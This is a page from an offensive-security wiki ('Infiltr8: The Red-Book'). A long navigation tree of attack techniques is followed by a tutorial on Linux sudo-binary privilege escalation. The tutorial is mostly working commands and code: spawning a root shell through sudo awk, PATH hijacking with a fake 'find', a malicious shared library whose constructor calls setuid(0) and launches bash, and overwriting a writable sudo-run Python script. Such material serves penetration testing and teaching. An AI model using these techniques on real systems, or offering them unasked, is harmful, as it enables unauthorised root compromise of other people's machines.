Infiltr8: The Red-Book
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  • The Red-Book
  • Red-Teaming
    • Reconnaissance
      • DNS Enumeration
      • Subdomains enumeration
      • Email Harvesting
      • Host Discovery
      • TCP/UDP Service Scanning
      • Vulnerability Scanning
      • Google Dorks
      • GitHub Recon
      • Files Metadata
      • ๐Ÿ› ๏ธMaltego
      • ๐Ÿ› ๏ธSpecialized Search Engines
    • Execution
      • Code & Process Injection
        • Loading .NET Reflective Assembly
        • Loading .NET Assembly from Windows Script Hosting
        • Process Hollowing
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        • NtQueueApcThread & NtTestAlert Shellcode Execution
        • Thread Pool Callback Shellcode Execution
        • Module Stomping Shellcode Injection
        • Remote .NET Assembly Loading through WaaSRemediation DCOM Abuse
        • ๐Ÿ› ๏ธDLL Injection
        • ๐Ÿ› ๏ธCreateRemoteThread Injection
        • ๐Ÿ› ๏ธReflective DLL Injection
        • ๐Ÿ› ๏ธNtMapViewOfSection Injection
        • ๐Ÿ› ๏ธSetWindowHookEx Injection
        • ๐Ÿ› ๏ธPoolParty
        • ๐Ÿ› ๏ธMockingJay
      • Code Execution
        • CMSTP
        • MSBuild
        • MSHTA
        • Microsoft Office Execution
        • Windows Script Host (WSH)
        • Outlook Home Page Abuse (Specula)
        • Powershell Without Powershell.exe
        • RegSrv32
        • Scheduled Tasks
        • Services
        • Windows Library Files
        • HTML Help Files
        • WMI
        • Script Exploits
        • ๐Ÿ› ๏ธSliver
    • Initial Access
      • Network Services
      • Password Attacks
      • Phishing
        • HTML Smuggling
        • Phishing with Calendars (.ICS Files)
        • Phishing With Microsoft Office
          • MS Office - VBA (Macros)
          • MS Office - RTF Files RCE
          • MS Office - Custom XML parts
          • ๐Ÿ› ๏ธMS Office - Excel 4.0 (XLM) Macros
          • ๐Ÿ› ๏ธMS Office - VBA Stomping
          • ๐Ÿ› ๏ธMS Office - Remote Dotm Template Injection
        • ๐Ÿ› ๏ธPhishing via Proxy
          • Adversary in the Middle (AitM) Phishing
            • EvilGoPhish
            • Evilginx
            • Muraena
            • Modlishka
          • Browser in the Middle (BitM) Phishing
            • cuddlephish
            • EvilnoVNC
    • Persistence
      • Active Directory
      • Windows
        • Accessibility features Backdoor
        • AEDebug Keys Persistence
        • Image File Execution Options (IFEO) Persistence
        • Logon Triggered Persistence
        • LSA Persistence
          • Security Support Provider DLLs
          • Authentication Package
        • Natural Language 6 DLLs Persistence
        • Run Keys Persistence
        • Winlogon Persistence
        • WMI Event Subscription Persistence
      • Linux
        • SSH for Persistence
        • GSocket for Persistence
        • ๐Ÿ› ๏ธUdev rules
    • Defense Evasion
      • Endpoint Detection Respons (EDR) Bypass
        • Bring Your Own Vulnerable Driver (BYOVD)
        • Safe Mode With Networking
        • Windows Defender Application Control (WDAC): Killing EDR
        • ๐Ÿ› ๏ธLoad Unsigned Drivers
        • ๐Ÿ› ๏ธMinifilter Altitude
        • ๐Ÿ› ๏ธHypervisor Code Integrity (HVCI) Disallowed Images
        • ๐Ÿ› ๏ธWindows Filtering Platform (WFP)
        • ๐Ÿ› ๏ธUserland Hooking Bypass
      • UAC Bypass
      • AMSI Bypass
      • ETW evasion
      • Living Off The Land
        • Windows Sysinternals
        • LOLBAS Project
        • File Operations
        • File Executions
      • Signature Evasion
      • Obfuscation
        • PowerShell Obfuscation
        • ๐Ÿ› ๏ธCommandline Obfusaction
        • ๐Ÿ› ๏ธPE Obfuscation
        • ๐Ÿ› ๏ธString Encryption
      • AppLocker Bypass
      • Mark-of-the-Web (MotW) Bypass
      • ๐Ÿ› ๏ธPowerShell Constrained Language Mode (CLM) Bypass
      • ๐Ÿ› ๏ธKill Windows Defender
      • ๐Ÿ› ๏ธVirtualization-based security (VBS) Bypass
        • ๐Ÿ› ๏ธCredential Guard bypass
        • ๐Ÿ› ๏ธhypervisor-protected code integrity (HVCI) Bypass
        • ๐Ÿ› ๏ธWindows Defender Application Control (WDAC) Bypass
      • ๐Ÿ› ๏ธSandbox Evasion
    • Discovery
      • Active Directory
      • Windows
        • System Information
        • Processes & Services
        • Scheduled Tasks
        • Installed applications
        • Network Configuration
        • FIle/Folder ACLs
        • Knowing your Shell
        • Security Solutions
      • Linux
        • OS Details
        • ๐Ÿ› ๏ธProcess & Services
    • Privilege Escalation
      • Windows
        • Tools โš™๏ธ
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        • Insecure Services
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          • Weak Registry Permissions
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        • AutoLogon Registry
        • Insecure Scheduled Tasks
          • Weak File/Folder Permissions
        • ๐Ÿ› ๏ธDLL Hijacking
      • Linux
        • Kernel Exploits
          • OverlayFs Exploits
            • GameOverlayFs
            • CVE-2023-0386
            • CVE-2021-3493
          • CVE-2023-32233 (CAP_NET_ADMIN)
          • Dirty Pipe
          • ๐Ÿ› ๏ธDirtyCow
          • ๐Ÿ› ๏ธRDS
          • ๐Ÿ› ๏ธFull Nelson
          • ๐Ÿ› ๏ธMempodipper
        • GLIBC Exploits
          • Looney Tunables
        • Polkit Exploits
          • PwnKit
          • D-Bus Authentication Bypass
        • Sudo Exploits
          • Sudo Binaries
          • Sudo Misconfigurations
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          • User Restriction Bypass
          • Pwfeedback BOF
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          • Sudoedit Bypass
        • SUID Binaries
        • Script Exploits
          • Python
            • Pip Download Code Execution
            • PyInstaller Code Execution
            • Pytorch Models/PTH Files Code Execution
          • Ruby
          • Bash
          • Perl
        • Scheduled tasks
          • Cron Jobs
          • Systemd timers
        • Interesting Groups
          • Lxd
        • Capabilities
        • NFS no_root_squash/no_all_squash
        • Linux Active Directory
    • Credential Access
      • Password Stores
        • Windows Credential Manager
        • KeePass
        • Web Browsers
      • Unsecured Credentials
        • Credentials In Files
        • VNC Config
        • SSH Private Keys
        • Git Repositories
        • Veeam Backup
        • Network shares
        • Network protocols
      • OS Credentials
        • Windows & Active Directory
          • SAM & LSA secrets
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          • DCSync
          • Kerberos key list
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        • Linux
          • Shadow File
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      • MITM and coerced auths
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        • Default, weak & Leaked Passwords
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        • Brute-Force
          • Online - Attacking Services
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      • Impersonation
    • Lateral Movement
      • Port Forwarding
      • TLS Tunneling (Ligolo-ng)
      • HTTP(s) Tunneling
      • SSH Tunneling
      • DNS Tunneling
      • SMB-based
      • WinRM
      • Remote WMI
      • DCOM
      • Scheduled Tasks (ATSVC)
      • Services (SVCCTL)
    • Exfiltration
      • Exfiltration over ICMP
      • Exfiltration Over DNS
      • Exfiltration Over HTTP(s)
      • Exfiltration Over SMB
  • Web Pentesting
    • Reconnaissance
      • Subdomains enumeration
      • WAF Enumeration
    • Infrastructures
      • DBMS
        • Enum Databases
        • Read/Write/Execute
      • DNS
        • Subdomain Takeover
      • Web Servers
        • Nginx
        • Apache
          • Apache Commons Text
          • Apache Tomcat
      • CMS
        • Wordpress
        • ๐Ÿ› ๏ธJoomla
        • ๐Ÿ› ๏ธDrupal
        • ๐Ÿ› ๏ธBolt CMS
      • Frameworks
        • Spring Framework
          • Spring Routing Abuse
          • Spring Boot Actuators
          • Spring View Manipulation
        • Werkzeug
        • ๐Ÿ› ๏ธDjango
        • ๐Ÿ› ๏ธFlask
        • ๐Ÿ› ๏ธLaravel
      • CGI
    • Web Vulnerabilities
      • Server-Side
        • NoSQL Injection
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          • Blind Attacks
            • Boolean Based
            • Time Based
            • Error Based
        • Insecure Deserialization
          • .NET Deserialization
          • Python Deserialization
          • PHP Deserialization
          • ๐Ÿ› ๏ธJava Deserialization
          • ๐Ÿ› ๏ธRuby Deserialization
        • File Inclusion & Path Traversal
          • LFI to RCE
            • PHP Wrappers
            • Logs Poisoning
            • /proc
            • PHPInfo
            • PHP Sessions
            • Segmentation Fault
          • RFI to RCE
        • Command Injection
        • Brute-Force
        • SSTI (Server-Side Template Injection)
        • Exposed Git Repositories
        • ๐Ÿ› ๏ธFile Upload
      • Client-Side
        • XSS (Cross-Site Scripting)
        • CORS (Cross-origin resource sharing)
  • Network Pentesting
    • Network services
      • DNS
      • FastCGI
      • HTTP & HTTPS
      • LDAP
      • NFS
      • MS-RPC
      • MSSQL
      • NBT-NS (NetBIOS)
      • Oracle TNS
      • RDP
      • Rsync
      • SMB
      • SMTP
      • SNMP
      • SSH
      • WebDAV
      • WinRM
      • XMPP/Jabber
      • ๐Ÿ› ๏ธRPC Port Mapper
      • ๐Ÿ› ๏ธFTP
      • ๐Ÿ› ๏ธTelnet
      • ๐Ÿ› ๏ธMySQL
    • WiFi
      • ๐Ÿ› ๏ธWEP
      • ๐Ÿ› ๏ธWPA2
      • ๐Ÿ› ๏ธWPS
    • Bluetooth
  • Active Directory Pentesting
    • Reconnaissance
      • Tools โš™๏ธ
        • PowerView โš™๏ธ
        • Responder โš™๏ธ
        • BloodHound โš™๏ธ
        • enum4linux โš™๏ธ
      • Network
        • DHCP
        • DNS
        • NBT-NS
        • Port scanning
        • SMB
        • LDAP
        • MS-RPC
      • Objects & Settings
        • DACLs
        • Group policies
        • Password policy
        • LAPS
    • Movement
      • Credentials
        • Dumping
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        • Bruteforcing
          • Guessing
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        • Shuffling
      • MITM and coerced auths
        • ARP poisoning
        • DNS spoofing
        • DHCP poisoning
        • DHCPv6 spoofing
        • WSUS spoofing
        • LLMNR, NBT-NS, mDNS spoofing
        • ADIDNS poisoning
        • WPAD spoofing
        • MS-EFSR abuse (PetitPotam)
        • MS-RPRN abuse (PrinterBug)
        • MS-FSRVP abuse (ShadowCoerce)
        • MS-DFSNM abuse (DFSCoerce)
        • MS-EVEN abuse (CheeseOunce)
        • PushSubscription abuse
        • WebClient abuse (WebDAV)
        • Living off the land
        • ๐Ÿ› ๏ธNBT Name Overwrite
        • ๐Ÿ› ๏ธICMP Redirect
      • NTLM
        • Capture
        • Relay
        • Pass the hash
      • Kerberos
        • Pre-auth bruteforce
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        • Overpass the hash
        • Pass the ticket
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        • Forged tickets
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          • (KUD) Unconstrained
          • (KCD) Constrained
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          • S4U2self abuse
          • Bronze Bit
        • Shadow Credentials
        • UnPAC the hash
        • Pass the Certificate - PKINIT
        • sAMAccountName spoofing
        • SPN-jacking
      • Netlogon
        • ZeroLogon
      • DACL abuse
        • AddMember
        • ForceChangePassword
        • Targeted Kerberoasting
        • WriteOwner
        • ReadLAPSPassword
        • ReadGMSAPassword
        • Grant ownership
        • Grant rights
        • Logon script
        • Rights on RODC object
      • Group policies
      • Trusts
      • Certificate Services (AD-CS)
        • Certificate templates
        • Certificate authority
        • Access controls
        • Unsigned endpoints
        • Certifried
      • Schannel
        • Pass the Certificate - Schannel
      • SCCM / MECM
        • Privilege Escalation
        • Post Exploitation
      • Exchange services
        • PrivExchange
        • ProxyLogon
        • ProxyShell
        • ProxyNotShell
      • Print Spooler Service
        • PrinterBug
        • PrintNightmare
      • Built-ins & settings
        • Builtin Groups
          • DNSAdmins
          • AD Recycle Bin
        • MachineAccountQuota
        • Pre-Windows 2000 computers
        • RODC
    • Persistence
      • Skeleton key
      • SID History
      • AdminSDHolder
      • GoldenGMSA
      • Kerberos
        • Forged tickets
        • Delegation to KRBTGT
      • Certificate Services (AD-CS)
        • Certificate authority
        • Access controls
        • Golden certificate
      • LAPS
      • ๐Ÿ› ๏ธDC Shadow
      • ๐Ÿ› ๏ธAccess controls
  • ๐Ÿ› ๏ธCloud & CI/CD Pentesting
    • CI/CD
      • Ansible Pentesting
      • Artifactory Pentesting
      • Docker Registry
        • ๐Ÿ› ๏ธHTTP API V2
      • ๐Ÿ› ๏ธKubernetes
      • ๐Ÿ› ๏ธGitLab
      • ๐Ÿ› ๏ธGithub
      • ๐Ÿ› ๏ธGitea
      • ๐Ÿ› ๏ธJenkins
      • ๐Ÿ› ๏ธTerraform
    • Azure Pentesting
      • Reconnaissance
        • Tools โš™๏ธ
        • Unauthenticated Reconnaissance
        • Internal Reconnaissance
      • Movement
        • Credentials
          • Password Spraying
          • Token Manipulation
            • Pass-The-Cookie (PTC)
            • Pass the Certificate (Azure)
            • Pass the PRT
        • Aazure Resources
          • Key Vault
          • Storage Accounts
          • Virtual Machines
          • Automation
          • Databases
        • Role-Based Access
        • Conditional Access
        • Service Principals & Applications
        • Hybrid Identity
          • Password Hash Sync (PHS)
          • Pass-through Authentication (PTA)
          • Active Directory Federation Services (ADFS)
          • Seamless SSO
          • Cloud Kerberos Trust
        • Cross-Tenant Access
      • Persistence
    • GCP Pentesting
    • AWS Pentesting
  • ๐Ÿ› ๏ธSmart Contracts Pentesting
    • Solidity
      • Vulnerabilities
        • Delegatecall Attack
        • Denial of Service Attack
        • Overflow & Underflow
        • Reentrancy Attack
        • Self Destruct Attack
        • Tx Origin Attack
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On this page
  • Theory
  • Practice
  • Known Sudo Binaries Exploits
  • No Command Path Exploit
  • Shared Library Hijacking
  • Weak File Permissions
  • References

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  1. Red-Teaming
  2. Privilege Escalation
  3. Linux
  4. Sudo Exploits

Sudo Binaries

Last updated 1 year ago

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Theory

On this page, we speak about vulnerabilities within a sudo binary/script itself. Custom or known binaries/scripts may be exploited and allow us to subvert sudo's intended functionality.

Practice

Known Sudo Binaries Exploits

If the binary is allowed to run as sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

If you find that a binary can be run as sudo, you can check on for known exploits.

$ sudo -l

User demo may run the following commands on crashlab:
    (root): /usr/bin/awk

If you can run a binary with sudo rights, you may want to have look at , a curated list of Unix binaries that can be exploited to bypass local security restrictions. In this case with awk, we can spawn a shell with following commands:

sudo awk 'BEGIN {system("/bin/sh")}'

No Command Path Exploit

If a sudo binary/script executes another command without specifying the path. We can abuse it and get a privilege escalation.

Note that env_reset and secure_path should not be set !

You may use strings to spot other binaries calls, or do some reverse engineering on the sudo binary.

$ sudo -l
User demo may run the following commands on crashlab:
    (root): /opt/bin/the-sudo-bin

$ strings ./the-sudo-bin
...
find
...

We can create a malicious executable with the same name as the one called by the sudo binary.

echo '/bin/bash -p' > /tmp/find
chmod +x /tmp/find

Then, set the PATH env variable before executing the Sudo binary.

#Sudo with modified PATH
export PATH=/tmp:$PATH 
./the-sudo-bin

Shared Library Hijacking

If you find some binary with Sudo permissions, you can check if all the .so files are loaded correctly.

strace the-sudo-bin 2>&1 | grep -i -E "open|access|no such file"

You also could check if the Sudo binary is loading a library from a folder where we can write:

# Lets find a Sudo using a non-standard library
ldd the-sudo-bin
something.so => /lib/x86_64-linux-gnu/something.so

# The Sudo also loads libraries from a custom location where we can write
readelf -d the-sudo-bin | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Alternatively, you could use the strings command to find used shared library

strings ./the-sudo-bin | grep -i '*.so*'

For example, if you find that the Sudo binary doesn't load correctly /home/user/.config/libcalc.so or that you can overwrite it, you can exploit it.

Write a malicious shared library

//Saved to /home/user/.config/libcalc.c
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        printf("Hello from the bad library");
        //setreSudo(0,0,0);
        setuid(0);
        setgid(0);
        system("/bin/bash -p");
}

Compile it

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

Execute the Sudo binary

sudo the-sudo-bin

If you get an error such as

./Sudo_bin: symbol lookup error: ./Sudo_bin: undefined symbol: a_function_name

that means that the library you have generated need to have a function called a_function_name.

Weak File Permissions

If you find some binary/script with Sudo permissions, you could check if you have enought rights to overwrite it. If so, you can replace it by a malicious one.

sudo -l
        (root) NOPASSWD: /usr/bin/python3 /home/<username>/example.py

Check permissions:

ls -la /home/<username>/
ls -la /home/<username>/example.py

If the python script is under a directory that you own, or if you have direct write access on it. We can remove the script and create a new one with the same name.

rm -rf /home/<username>/example.py
touch /home/<username>/example.py

We can insert arbitrary code in the new script. For example,

import os;os.system('/bin/bash')

References

GTFOBins
GTFOBins
LogoPayloadsAllTheThings/Linux - Privilege Escalation.md at master ยท swisskyrepo/PayloadsAllTheThingsGitHub
LogoTryHackMe | Linux PrivEsc ArenaTryHackMe
LogoSudo Privilege Escalation | Exploit Noteshideckies